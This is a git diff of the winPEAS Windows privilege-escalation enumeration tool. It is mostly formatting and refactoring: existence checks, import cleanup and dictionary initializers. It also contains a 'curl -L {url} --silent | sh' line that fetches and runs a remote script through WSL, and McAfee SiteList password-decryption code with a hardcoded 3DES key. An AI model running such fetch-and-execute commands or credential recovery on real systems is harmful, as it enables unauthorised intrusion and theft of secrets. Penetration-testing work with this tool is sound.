|
using System.Collections.Generic;
|
||||||
using System.Runtime.InteropServices;
|
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
|
|||||||
@@ -1,10 +1,10 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Management;
|
using System.Management;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
|
||||||
@@ -204,7 +204,7 @@ namespace winPEAS.Info.ApplicationInfo
|
|||||||
{
|
{
|
||||||
autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name, autorunLocationKey[2]
|
autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name, autorunLocationKey[2]
|
||||||
}
|
}
|
||||||
: new List<string> {autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name});
|
: new List<string> { autorunLocationKey[0], autorunLocationKey[1] + "\\" + clsid_name });
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -344,15 +344,18 @@ namespace winPEAS.Info.ApplicationInfo
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
var userDirs = Directory.EnumerateDirectories(usersPath);
|
if (Directory.Exists(usersPath))
|
||||||
|
|
||||||
foreach (var userDir in userDirs)
|
|
||||||
{
|
{
|
||||||
string startupPath = $@"{userDir}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup";
|
var userDirs = Directory.EnumerateDirectories(usersPath);
|
||||||
|
|
||||||
if (Directory.Exists(startupPath))
|
foreach (var userDir in userDirs)
|
||||||
{
|
{
|
||||||
autorunLocations.Add(startupPath);
|
string startupPath = $@"{userDir}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup";
|
||||||
|
|
||||||
|
if (Directory.Exists(startupPath))
|
||||||
|
{
|
||||||
|
autorunLocations.Add(startupPath);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -364,22 +367,25 @@ namespace winPEAS.Info.ApplicationInfo
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
if (Directory.Exists(path))
|
||||||
|
|
||||||
foreach (string filepath in files)
|
|
||||||
{
|
{
|
||||||
string folder = Path.GetDirectoryName(filepath);
|
var files = Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly);
|
||||||
results.Add(new Dictionary<string, string>() {
|
|
||||||
{ "Reg", "" },
|
foreach (string filepath in files)
|
||||||
{ "RegKey", "" },
|
{
|
||||||
{ "RegPermissions", "" },
|
string folder = Path.GetDirectoryName(filepath);
|
||||||
{ "Folder", folder },
|
results.Add(new Dictionary<string, string>() {
|
||||||
{ "File", filepath },
|
{ "Reg", "" },
|
||||||
{ "isWritableReg", ""},
|
{ "RegKey", "" },
|
||||||
{ "interestingFolderRights", string.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))},
|
{ "RegPermissions", "" },
|
||||||
{ "interestingFileRights", string.Join(", ", PermissionsHelper.GetPermissionsFile(filepath, Checks.Checks.CurrentUserSiDs))},
|
{ "Folder", folder },
|
||||||
{ "isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(path).ToString() }
|
{ "File", filepath },
|
||||||
});
|
{ "isWritableReg", ""},
|
||||||
|
{ "interestingFolderRights", string.Join(", ", PermissionsHelper.GetPermissionsFolder(folder, Checks.Checks.CurrentUserSiDs))},
|
||||||
|
{ "interestingFileRights", string.Join(", ", PermissionsHelper.GetPermissionsFile(filepath, Checks.Checks.CurrentUserSiDs))},
|
||||||
|
{ "isUnquotedSpaced", MyUtils.CheckQuoteAndSpace(path).ToString() }
|
||||||
|
});
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception)
|
catch (Exception)
|
||||||
|
|||||||
@@ -71,16 +71,19 @@ namespace winPEAS.Info.ApplicationInfo
|
|||||||
var results = new SortedDictionary<string, Dictionary<string, string>>();
|
var results = new SortedDictionary<string, Dictionary<string, string>>();
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
foreach (string f in Directory.EnumerateFiles(fpath))
|
if (Directory.Exists(fpath))
|
||||||
{
|
{
|
||||||
results[f] = new Dictionary<string, string>
|
foreach (string f in Directory.EnumerateFiles(fpath))
|
||||||
|
{
|
||||||
|
results[f] = new Dictionary<string, string>
|
||||||
{
|
{
|
||||||
{ f, string.Join(", ", PermissionsHelper.GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs)) }
|
{ f, string.Join(", ", PermissionsHelper.GetPermissionsFile(f, Checks.Checks.CurrentUserSiDs)) }
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
foreach (string d in Directory.EnumerateDirectories(fpath))
|
foreach (string d in Directory.EnumerateDirectories(fpath))
|
||||||
{
|
{
|
||||||
results[d] = PermissionsHelper.GetRecursivePrivs(d);
|
results[d] = PermissionsHelper.GetRecursivePrivs(d);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Info.EventsInfo.PowerShell;
|
|
||||||
|
|
||||||
namespace winPEAS.Info.EventsInfo.ProcessCreation
|
namespace winPEAS.Info.EventsInfo.ProcessCreation
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -34,19 +34,19 @@ namespace winPEAS.Info.FilesInfo.Certificates
|
|||||||
switch (ext.Oid.FriendlyName)
|
switch (ext.Oid.FriendlyName)
|
||||||
{
|
{
|
||||||
case "Enhanced Key Usage":
|
case "Enhanced Key Usage":
|
||||||
{
|
|
||||||
var extUsages = ((X509EnhancedKeyUsageExtension)ext).EnhancedKeyUsages;
|
|
||||||
|
|
||||||
if (extUsages.Count == 0)
|
|
||||||
continue;
|
|
||||||
|
|
||||||
foreach (var extUsage in extUsages)
|
|
||||||
{
|
{
|
||||||
enhancedKeyUsages.Add(extUsage.FriendlyName);
|
var extUsages = ((X509EnhancedKeyUsageExtension)ext).EnhancedKeyUsages;
|
||||||
}
|
|
||||||
|
|
||||||
break;
|
if (extUsages.Count == 0)
|
||||||
}
|
continue;
|
||||||
|
|
||||||
|
foreach (var extUsage in extUsages)
|
||||||
|
{
|
||||||
|
enhancedKeyUsages.Add(extUsage.FriendlyName);
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
case "Certificate Template Name":
|
case "Certificate Template Name":
|
||||||
case "Certificate Template Information":
|
case "Certificate Template Information":
|
||||||
template = ext.Format(false);
|
template = ext.Format(false);
|
||||||
|
|||||||
@@ -127,7 +127,7 @@ namespace winPEAS.Info.FilesInfo.McAfee
|
|||||||
byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 };
|
byte[] XORKey = { 0x12, 0x15, 0x0F, 0x10, 0x11, 0x1C, 0x1A, 0x06, 0x0A, 0x1F, 0x1B, 0x18, 0x17, 0x16, 0x05, 0x19 };
|
||||||
|
|
||||||
// xor the input b64 string with the static XOR key
|
// xor the input b64 string with the static XOR key
|
||||||
var passwordBytes = System.Convert.FromBase64String(base64password);
|
var passwordBytes = Convert.FromBase64String(base64password);
|
||||||
for (var i = 0; i < passwordBytes.Length; i++)
|
for (var i = 0; i < passwordBytes.Length; i++)
|
||||||
{
|
{
|
||||||
passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]);
|
passwordBytes[i] = (byte)(passwordBytes[i] ^ XORKey[i % XORKey.Length]);
|
||||||
@@ -135,7 +135,8 @@ namespace winPEAS.Info.FilesInfo.McAfee
|
|||||||
|
|
||||||
SHA1 crypto = new SHA1CryptoServiceProvider();
|
SHA1 crypto = new SHA1CryptoServiceProvider();
|
||||||
|
|
||||||
var tDESKey = MyUtils.CombineArrays(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("<!@#$%^>")), new byte[] { 0x00, 0x00, 0x00, 0x00 });
|
//var tDESKey = MyUtils.CombineArrays(crypto.ComputeHash(System.Text.Encoding.ASCII.GetBytes("<!@#$%^>")), new byte[] { 0x00, 0x00, 0x00, 0x00 });
|
||||||
|
byte[] tDESKey = { 62, 241, 54, 184, 179, 59, 239, 188, 52, 38, 167, 181, 78, 196, 26, 55, 124, 211, 25, 155, 0, 0, 0, 0 };
|
||||||
|
|
||||||
// set the options we need
|
// set the options we need
|
||||||
var tDESalg = new TripleDESCryptoServiceProvider();
|
var tDESalg = new TripleDESCryptoServiceProvider();
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Globalization;
|
using System.Globalization;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
using winPEAS.Info.FilesInfo.Office.OneDrive;
|
using winPEAS.Info.FilesInfo.Office.OneDrive;
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ namespace winPEAS.Info.FilesInfo.WSL
|
|||||||
{
|
{
|
||||||
public static void RunLinpeas(string linpeasUrl)
|
public static void RunLinpeas(string linpeasUrl)
|
||||||
{
|
{
|
||||||
string linpeasCmd = $"curl {linpeasUrl} --silent | sh";
|
string linpeasCmd = $"curl -L {linpeasUrl} --silent | sh";
|
||||||
string command = Environment.Is64BitProcess ?
|
string command = Environment.Is64BitProcess ?
|
||||||
$@"bash -c ""{linpeasCmd}""" :
|
$@"bash -c ""{linpeasCmd}""" :
|
||||||
Environment.GetEnvironmentVariable("WinDir") + $"\\SysNative\\bash.exe -c \"{linpeasCmd}\"";
|
Environment.GetEnvironmentVariable("WinDir") + $"\\SysNative\\bash.exe -c \"{linpeasCmd}\"";
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Reflection;
|
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
|
|
||||||
@@ -25,7 +24,7 @@ namespace winPEAS.Info.NetworkInfo
|
|||||||
Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD"));
|
Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD"));
|
||||||
object firewallObj = Activator.CreateInstance(firewall);
|
object firewallObj = Activator.CreateInstance(firewall);
|
||||||
object types = ReflectionHelper.InvokeMemberProperty(firewallObj, "CurrentProfileTypes");
|
object types = ReflectionHelper.InvokeMemberProperty(firewallObj, "CurrentProfileTypes");
|
||||||
result = $"{(FirewallProfiles) int.Parse(types.ToString())}";
|
result = $"{(FirewallProfiles)int.Parse(types.ToString())}";
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -191,12 +191,12 @@ namespace winPEAS.Info.NetworkInfo
|
|||||||
foreach (var listener in props.GetActiveTcpListeners())
|
foreach (var listener in props.GetActiveTcpListeners())
|
||||||
{
|
{
|
||||||
bool repeated = false;
|
bool repeated = false;
|
||||||
foreach(List<string> inside_entry in results)
|
foreach (List<string> inside_entry in results)
|
||||||
{
|
{
|
||||||
if (inside_entry.SequenceEqual(new List<string>() { "TCP", listener.ToString(), "", "Listening" }))
|
if (inside_entry.SequenceEqual(new List<string>() { "TCP", listener.ToString(), "", "Listening" }))
|
||||||
repeated = true;
|
repeated = true;
|
||||||
}
|
}
|
||||||
if (! repeated)
|
if (!repeated)
|
||||||
results.Add(new List<string>() { "TCP", listener.ToString(), "", "Listening" });
|
results.Add(new List<string>() { "TCP", listener.ToString(), "", "Listening" });
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -337,7 +337,7 @@ namespace winPEAS.Info.NetworkInfo
|
|||||||
// Determine if IPv4 or IPv6.
|
// Determine if IPv4 or IPv6.
|
||||||
if (ipVersion == IPVersion.IPv4)
|
if (ipVersion == IPVersion.IPv4)
|
||||||
{
|
{
|
||||||
MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID));
|
MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID));
|
||||||
|
|
||||||
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
||||||
|
|
||||||
@@ -373,7 +373,7 @@ namespace winPEAS.Info.NetworkInfo
|
|||||||
}
|
}
|
||||||
else if (ipVersion == IPVersion.IPv6)
|
else if (ipVersion == IPVersion.IPv6)
|
||||||
{
|
{
|
||||||
MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID));
|
MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID));
|
||||||
|
|
||||||
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
||||||
|
|
||||||
@@ -461,14 +461,14 @@ namespace winPEAS.Info.NetworkInfo
|
|||||||
// Determine if IPv4 or IPv6.
|
// Determine if IPv4 or IPv6.
|
||||||
if (ipVersion == IPVersion.IPv4)
|
if (ipVersion == IPVersion.IPv4)
|
||||||
{
|
{
|
||||||
MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID) Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID));
|
MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID)Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID));
|
||||||
IntPtr tableRowPtr = (IntPtr)((long)udpTableRecordsPtr + Marshal.SizeOf(udpRecordsTable.dwNumEntries));
|
IntPtr tableRowPtr = (IntPtr)((long)udpTableRecordsPtr + Marshal.SizeOf(udpRecordsTable.dwNumEntries));
|
||||||
|
|
||||||
// Read and parse the UDP records from the table and store them in list
|
// Read and parse the UDP records from the table and store them in list
|
||||||
// 'UdpConnection' structure type objects.
|
// 'UdpConnection' structure type objects.
|
||||||
for (int i = 0; i < udpRecordsTable.dwNumEntries; i++)
|
for (int i = 0; i < udpRecordsTable.dwNumEntries; i++)
|
||||||
{
|
{
|
||||||
MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID) Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID));
|
MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID));
|
||||||
udpTableRecords.Add(new UdpConnectionInfo(
|
udpTableRecords.Add(new UdpConnectionInfo(
|
||||||
Protocol.UDP,
|
Protocol.UDP,
|
||||||
new IPAddress(udpRow.localAddr),
|
new IPAddress(udpRow.localAddr),
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
|
|||||||
public struct MIB_UDP6TABLE_OWNER_PID
|
public struct MIB_UDP6TABLE_OWNER_PID
|
||||||
{
|
{
|
||||||
public uint dwNumEntries;
|
public uint dwNumEntries;
|
||||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)]
|
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
|
||||||
public MIB_UDP6ROW_OWNER_PID[] table;
|
public MIB_UDP6ROW_OWNER_PID[] table;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
|
|||||||
public struct MIB_UDPTABLE_OWNER_PID
|
public struct MIB_UDPTABLE_OWNER_PID
|
||||||
{
|
{
|
||||||
public uint dwNumEntries;
|
public uint dwNumEntries;
|
||||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)]
|
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
|
||||||
public MIB_UDPROW_OWNER_PID[] table;
|
public MIB_UDPROW_OWNER_PID[] table;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ using System.Linq;
|
|||||||
using System.Management;
|
using System.Management;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using System.Text;
|
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
@@ -33,7 +32,7 @@ namespace winPEAS.Info.ProcessInfo
|
|||||||
Proc = p,
|
Proc = p,
|
||||||
Pth = (string)mo["ExecutablePath"],
|
Pth = (string)mo["ExecutablePath"],
|
||||||
CommLine = (string)mo["CommandLine"],
|
CommLine = (string)mo["CommandLine"],
|
||||||
Owner = Helpers.HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach
|
Owner = HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach
|
||||||
};
|
};
|
||||||
|
|
||||||
foreach (var itm in queRy)
|
foreach (var itm in queRy)
|
||||||
@@ -54,14 +53,16 @@ namespace winPEAS.Info.ProcessInfo
|
|||||||
}
|
}
|
||||||
if ((string.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
if ((string.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
||||||
{
|
{
|
||||||
Dictionary<string, string> to_add = new Dictionary<string, string>();
|
Dictionary<string, string> to_add = new Dictionary<string, string>
|
||||||
to_add["Name"] = itm.Proc.ProcessName;
|
{
|
||||||
to_add["ProcessID"] = itm.Proc.Id.ToString();
|
["Name"] = itm.Proc.ProcessName,
|
||||||
to_add["ExecutablePath"] = itm.Pth;
|
["ProcessID"] = itm.Proc.Id.ToString(),
|
||||||
to_add["Product"] = companyName;
|
["ExecutablePath"] = itm.Pth,
|
||||||
to_add["Owner"] = itm.Owner == null ? "" : itm.Owner;
|
["Product"] = companyName,
|
||||||
to_add["isDotNet"] = isDotNet;
|
["Owner"] = itm.Owner == null ? "" : itm.Owner,
|
||||||
to_add["CommandLine"] = itm.CommLine;
|
["isDotNet"] = isDotNet,
|
||||||
|
["CommandLine"] = itm.CommLine
|
||||||
|
};
|
||||||
f_results.Add(to_add);
|
f_results.Add(to_add);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -123,11 +124,13 @@ namespace winPEAS.Info.ProcessInfo
|
|||||||
|
|
||||||
string hName = HandlesHelper.GetObjectName(dupHandle);
|
string hName = HandlesHelper.GetObjectName(dupHandle);
|
||||||
|
|
||||||
Dictionary<string, string> to_add = new Dictionary<string, string>();
|
Dictionary<string, string> to_add = new Dictionary<string, string>
|
||||||
to_add["Handle Name"] = hName;
|
{
|
||||||
to_add["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")";
|
["Handle Name"] = hName,
|
||||||
to_add["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName;
|
["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")",
|
||||||
to_add["Reason"] = handlerExp.reason;
|
["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName,
|
||||||
|
["Reason"] = handlerExp.reason
|
||||||
|
};
|
||||||
|
|
||||||
if (typeName == "process" || typeName == "thread")
|
if (typeName == "process" || typeName == "thread")
|
||||||
{
|
{
|
||||||
@@ -208,7 +211,7 @@ namespace winPEAS.Info.ProcessInfo
|
|||||||
else if (typeName == "key")
|
else if (typeName == "key")
|
||||||
{
|
{
|
||||||
HandlesHelper.KEY_RELEVANT_INFO kri = HandlesHelper.getKeyHandlerInfo(dupHandle);
|
HandlesHelper.KEY_RELEVANT_INFO kri = HandlesHelper.getKeyHandlerInfo(dupHandle);
|
||||||
if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length> 0)
|
if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length > 0)
|
||||||
continue;
|
continue;
|
||||||
|
|
||||||
RegistryKey regKey = Helpers.Registry.RegistryHelper.GetReg(kri.hive, kri.path);
|
RegistryKey regKey = Helpers.Registry.RegistryHelper.GetReg(kri.hive, kri.path);
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
@@ -8,10 +9,8 @@ using System.Runtime.InteropServices;
|
|||||||
using System.Security.AccessControl;
|
using System.Security.AccessControl;
|
||||||
using System.ServiceProcess;
|
using System.ServiceProcess;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
using winPEAS.KnownFileCreds;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
|
|
||||||
namespace winPEAS.Info.ServicesInfo
|
namespace winPEAS.Info.ServicesInfo
|
||||||
@@ -51,17 +50,18 @@ namespace winPEAS.Info.ServicesInfo
|
|||||||
|
|
||||||
if (string.IsNullOrEmpty(companyName) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
if (string.IsNullOrEmpty(companyName) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
||||||
{
|
{
|
||||||
Dictionary<string, string> toadd = new Dictionary<string, string>();
|
Dictionary<string, string> toadd = new Dictionary<string, string>
|
||||||
|
{
|
||||||
toadd["Name"] = GetStringOrEmpty(result["Name"]);
|
["Name"] = GetStringOrEmpty(result["Name"]),
|
||||||
toadd["DisplayName"] = GetStringOrEmpty(result["DisplayName"]);
|
["DisplayName"] = GetStringOrEmpty(result["DisplayName"]),
|
||||||
toadd["CompanyName"] = companyName;
|
["CompanyName"] = companyName,
|
||||||
toadd["State"] = GetStringOrEmpty(result["State"]);
|
["State"] = GetStringOrEmpty(result["State"]),
|
||||||
toadd["StartMode"] = GetStringOrEmpty(result["StartMode"]);
|
["StartMode"] = GetStringOrEmpty(result["StartMode"]),
|
||||||
toadd["PathName"] = GetStringOrEmpty(result["PathName"]);
|
["PathName"] = GetStringOrEmpty(result["PathName"]),
|
||||||
toadd["FilteredPath"] = binaryPath;
|
["FilteredPath"] = binaryPath,
|
||||||
toadd["isDotNet"] = isDotNet;
|
["isDotNet"] = isDotNet,
|
||||||
toadd["Description"] = GetStringOrEmpty(result["Description"]);
|
["Description"] = GetStringOrEmpty(result["Description"])
|
||||||
|
};
|
||||||
|
|
||||||
results.Add(toadd);
|
results.Add(toadd);
|
||||||
}
|
}
|
||||||
@@ -232,7 +232,7 @@ namespace winPEAS.Info.ServicesInfo
|
|||||||
if (permissions.Count > 0)
|
if (permissions.Count > 0)
|
||||||
{
|
{
|
||||||
string perms = String.Join(", ", permissions);
|
string perms = String.Join(", ", permissions);
|
||||||
if (perms.Replace("Start", "").Replace("Stop","").Length > 3) //Check if any other permissions appart from Start and Stop
|
if (perms.Replace("Start", "").Replace("Stop", "").Length > 3) //Check if any other permissions appart from Start and Stop
|
||||||
results.Add(sc.ServiceName, perms);
|
results.Add(sc.ServiceName, perms);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -249,9 +249,9 @@ namespace winPEAS.Info.ServicesInfo
|
|||||||
/////// Find Write reg. Services ////////
|
/////// Find Write reg. Services ////////
|
||||||
//////////////////////////////////////////
|
//////////////////////////////////////////
|
||||||
/// Find Services which Reg you have write or equivalent access
|
/// Find Services which Reg you have write or equivalent access
|
||||||
public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string,string> NtAccountNames)
|
public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string, string> NtAccountNames)
|
||||||
{
|
{
|
||||||
List<Dictionary<string,string>> results = new List<Dictionary<string, string>>();
|
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@"system\currentcontrolset\services");
|
RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@"system\currentcontrolset\services");
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
using System.Collections.Generic;
|
using Microsoft.Win32;
|
||||||
using Microsoft.Win32;
|
using System.Collections.Generic;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
using winPEAS.Native.Enums;
|
using winPEAS.Native.Enums;
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ using System.IO;
|
|||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.AccessControl;
|
using System.Security.AccessControl;
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using System.Security.Principal;
|
|
||||||
|
|
||||||
|
|
||||||
namespace winPEAS.Info.SystemInfo.NamedPipes
|
namespace winPEAS.Info.SystemInfo.NamedPipes
|
||||||
@@ -51,7 +50,7 @@ namespace winPEAS.Info.SystemInfo.NamedPipes
|
|||||||
{
|
{
|
||||||
var security = File.GetAccessControl($"\\\\.\\pipe\\{namedPipe}");
|
var security = File.GetAccessControl($"\\\\.\\pipe\\{namedPipe}");
|
||||||
sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All);
|
sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All);
|
||||||
List<string> currentUserPermsList = winPEAS.Helpers.PermissionsHelper.GetMyPermissionsF(security, winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> currentUserPermsList = Helpers.PermissionsHelper.GetMyPermissionsF(security, Checks.Checks.CurrentUserSiDs);
|
||||||
currentUserPerms = string.Join(", ", currentUserPermsList);
|
currentUserPerms = string.Join(", ", currentUserPermsList);
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
|
|||||||
@@ -2,7 +2,6 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Diagnostics.Eventing.Reader;
|
using System.Diagnostics.Eventing.Reader;
|
||||||
using System.Text.RegularExpressions;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
using System;
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Globalization;
|
using System.Globalization;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
@@ -7,9 +8,10 @@ using System.Management;
|
|||||||
using System.Net;
|
using System.Net;
|
||||||
using System.Net.NetworkInformation;
|
using System.Net.NetworkInformation;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
using winPEAS.KnownFileCreds;
|
|
||||||
|
|
||||||
namespace winPEAS.Info.SystemInfo
|
